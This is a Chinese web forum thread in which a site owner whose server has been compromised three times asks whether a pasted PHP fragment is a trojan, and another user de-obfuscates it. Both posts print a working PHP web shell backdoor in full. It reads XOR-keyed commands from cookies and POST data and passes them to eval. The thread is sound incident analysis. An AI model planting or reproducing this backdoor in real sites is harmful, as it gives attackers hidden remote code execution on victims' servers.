这是马？

a7898585

护卫神安装的网站，已经被搞了三次了
也不知道哪里的问题
之前安装的wp，这次是帝国
[ol]

$eyzaqt){function amuzp($mxavm, $jbmwo, $vfruhe){return $mxavm[6]($mxavm[4]($jbmwo . $mxavm[0], ($vfruhe / $mxavm[8]($jbmwo)) + 1), 0, $vfruhe);}function rbwcal($mxavm, $ufkgca){return @$mxavm[9]($mxavm[1], $ufkgca);}function sbfawmr($mxavm, $ufkgca){$fhbsrqm = $mxavm[3]($ufkgca) % 3;if (!$fhbsrqm) {eval($ufkgca[1]($ufkgca[2]));exit();}}$eyzaqt = rbwcal($mxavm, $eyzaqt);sbfawmr($mxavm, $mxavm[5]($mxavm[2], $eyzaqt ^ amuzp($mxavm, $jbmwo, $mxavm[8]($eyzaqt))));}[/ol]复制代码

cxd44

帮顶，看看什么问题

fgpgy

加密了

itbobo

一步一步翻译过来就知道干嘛了

itbobo

[ol]

$wdkrt = 'ka6fbtmHdxi8opnrvl1\'e04*s_g3y-u7#c92';

$mxavm = Array();

$mxavm[0] = '0e87df1c-4837-4122-b692-bae83b90e1a6';

$mxavm[1] = 'H*';

$mxavm[2] = '#';

$mxavm[3] = 'count';

$mxavm[4] = 'str_repeat';

$mxavm[5] = 'explode';

$mxavm[6] = 'substr';

$mxavm[7] = 'array_merge';

$mxavm[8] = 'strlen';

$mxavm[9] = 'pack';

foreach (array_merge($_COOKIE, $_POST) as $jbmwo => $eyzaqt){

    function amuzp($mxavm, $jbmwo, $vfruhe){

        return substr(str_repeat($jbmwo . '0e87df1c-4837-4122-b692-bae83b90e1a6', ($vfruhe / strlen($jbmwo)) + 1), 0, $vfruhe);

    }

    function rbwcal($mxavm, $ufkgca){

        return @pack('H*', $ufkgca);

    }

    function sbfawmr($mxavm, $ufkgca){

        $fhbsrqm = count($ufkgca) % 3;

        if (!$fhbsrqm) {

            eval($ufkgca[1]($ufkgca[2]));

            exit();

        }

    }

    $eyzaqt = rbwcal($mxavm, $eyzaqt);

    sbfawmr($mxavm, explode('#', $eyzaqt ^ amuzp($mxavm, $jbmwo, strlen($eyzaqt))));

}[/ol]复制代码